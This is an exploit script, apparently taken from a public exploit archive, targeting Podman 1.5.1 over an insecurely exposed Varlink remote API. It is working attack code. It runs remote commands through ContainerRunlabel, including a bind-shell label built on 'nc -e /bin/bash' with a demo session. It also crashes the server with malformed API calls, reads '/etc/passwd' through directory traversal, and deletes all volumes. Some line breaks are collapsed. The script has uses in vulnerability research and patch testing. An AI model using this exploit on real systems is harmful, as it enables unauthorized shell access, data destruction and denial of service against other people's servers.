# Exploit Title: Podman & Varlink 1.5.1 - Remote Code Execution# Exploit Author: Jeremy Brown# Date: 2019-10-15# Vendor Homepage: https://podman.io/# Software Link: dnf install podman or https://github.com/containers/libpod/releases# Version: 1.5.1# Tested on: Fedora Server 30#!/usr/bin/python# -*- coding: UTF-8 -*-## pickletime.py## Podman + Varlink Insecure Config Remote Exploit## -------# Details# -------## Podman is container engine / platform similar to Docker supported# by RedHat and Fedora with Varlink being a protocol to exchange# messages, which comes in handy for things like a Remote API.## Now depending on how Podman and Varlink are deployed, they can be# susceptible to local and remote attacks. There are a few API bugs# in Podman itself, as well as a way to execute arbitary commands if# one can hit Podman via the Remote API. Running Podman with Varlink# over tcp listening either on localhost or the network interface is the# most vulnerable setup, but other ways such as access via the local UNIX# socket or over SSH (key /w no passphrase is common) aren't likely# to be vulnerable unless ACLs or other stuff is broken.## ------------------# Testing the issues# ------------------## - check; just connects and issues GetInfo() to see if the host is# running a podman service## - exec; arbitrary cmd execution via ContainerRunlabel() specified# by "run" label in the specified hosted image (self-setup)## - dos; crash the server via choosing a /random/ selection from# the available parsing bugs in APIs (we like to have fun here)## - blind; dir traversal in SearchImages() API to force server to# read an arbitrary file (no client-side output)## - volrm; loops to remove all volumes via VolumeRemove() behavior## ---------# Exec demo# ---------## $ ./pickletime.py check podman-host:6000# -> Podman service confirmed on host## Then create a Dockerfile with an edgy label, build and host it.## [Dockerfile]# FROM busybox# LABEL run=“nc -l -p 10000 -e /bin/bash”## $ ./pickletime.py exec podman-host:6000 docker-registry:5000/image run# Done!## $ nc podman-host 10000# ps #PID TTYTIME CMD # 111640 pts/100:00:00 bash# 111786 pts/100:00:00 podman# 111797 pts/100:00:00 nc# 111799 pts/100:00:00 bash# 111801 pts/100:00:00 ps### Tested Podman 1.4.4/1.5.1 and Varlink 18 on Fedora Server 30 x64## -----------# Other stuff# -----------## Note: admins can really setup their connection and deployment configuration# however they like, so it's hard to say how many folks are 'doing it wrong'# or actually are running with proper auth and hardening in place. Shodan# folks have been contacted about adding support to discover Varlink services# to get more data that way as well.## Fixed bugs:# - DoS #2 was fixed in 1.5.1# - Updated security docs / cli flags TBD## > Why pickles? Why not.## Dependencies to run this code:## sudo dnf install -y python3-podman-api###import os
import sys
import socket
import subprocess
import random
import json
importpodmanimport pickle
importtime
serviceName ='io.podman'# service name
def main():
if(len(sys.argv)<2):
print("Usage: %s <action> <host> [action....params]\n" % sys.argv[0])
print("Eg:%s check tcp:podman-host:6000" % sys.argv[0])
print("...%s exectcp:podman-host:6000 docker-registry:5000/image run\n" % sys.argv[0])
print("Actions: check, exec, dos, blind, volrm\n")return
action = sys.argv[1]
address = sys.argv[2]# eg. unix:/run/podman/io.podman for local testingip= address.split(':')[1]
port = int(address.split(':')[2])
if(action =='exec'):
if(len(sys.argv)<4):
print("Error: need more args for exec")return
image = sys.argv[3]# 'source' for pull
label = sys.argv[4]
isItTime()
try:
pman = podman.Client(uri=address)
except Exception:
print("Error: can't connect to host")return
if(action =='check'):
result = json.dumps(pman.system.info())
if('podman_version'in result):
print("-> Podman service confirmed on host")return
print("-!- Podman service was not found on host")
elif(action =='exec'):
## First pull the image from the repo, then run the label#
try:
result = pman.images.pull(image)# PullImage()
except Exception as error:
pass # call fails sometimes if image already exists which is *ok*## ContainerRunlabel() ... but, no library imp. we'll do it live!#
method = serviceName + '.' + 'ContainerRunlabel'
message ='{\"method\":\"'
message += method
message +='\",\"parameters\":'
message +='{\"Runlabel\":{\"image\":\"'
message += image
message +='\",\"label\":\"'
message += label
message +='\"}}}'
message +='\0'# end each msg with a NULL byte
doSocketSend(ip, port, message)
elif(action =='dos'):
#bug = 1 # !fun
bug = random.randint(1,2)# fun
if(bug ==1):
print("one")source='test'
method = serviceName + '.' + 'LoadImage'
message ='{\"method\":\"'
message += method
message +='\",\"parameters\":'
message +='{\"source":\"'
message +=source
message +='\"}}'
message +='\0'
doSocketSend(ip, port, message)# works on 1.4.4, fixed in 1.5.1
if(bug ==2):
print("two")
reference ='b' * 238source='/dev/null'# this file must exist locally
method = serviceName + '.' + 'ImportImage'
message ='{\"method\":\"'
message += method
message +='\",\"parameters\":'
message +='{\"reference\":\"'
message += reference
message +='\",\"source\":\"'
message +=source
message +='\"}}'
message +='\0'
doSocketSend(ip, port, message)## blind read of arbitrary files server-side# ...interesting but not particularly useful by itself## openat(AT_FDCWD, "/etc/passwd", O_RDONLY|O_CLOEXEC) = 7
# lseek(7, 0, SEEK_CUR) = 0
# fstat(7, {st_mode=S_IFREG|0644, st_size=1672, ...}) = 0
# read(7, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1672
# close(7)
#
elif(action == 'blind'):
method = serviceName + '.' + 'SearchImages'
query = '../../../etc/passwd/' # magic '/' at the end
message = '{\"method\":\"'
message += method
message += '\",\"parameters\":'
message += '{\"query\":\"'
message += query
message += '\"}}'
message += '\0'
#pman.images.search(query) # unclear why this doesn't work
doSocketSend(ip, port, message)
#
# Not really a bug, but an interesting feature to demo without auth
# note: call CreateVolume() a few times beforehand to test the removal
#
elif(action == 'volrm'):
method = serviceName + '.' + 'VolumeRemove'
n = 10 # this is probably enough to test, but change as necessary
message = '{\"method\":\"'
message += method
message += '\",\"parameters\":'
message += '{\"options\":{\"volumes\":[\"\"]}}}' # empty = alphabetical removal
message += '\0'
for _ in range(n):
doSocketSend(ip, port, message)
time.sleep(0.5) # server processing time
print("Done!")## podman/varlink libaries don't support calling these API calls, so native we must#
def doSocketSend(ip, port, message):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
sock.send(message.encode())
except Exception as error:
print(str(error))return
finally:
sock.close()## obligatory routine#
def isItTime():
tm = time.localtime()
p = pickle.dumps('it\'s pickle time!')
if((str(tm.tm_hour) == '11') and (str(tm.tm_min) == '11')):
print(pickle.loads(p))
else:
pass # no dill
if(__name__ == '__main__'):
main()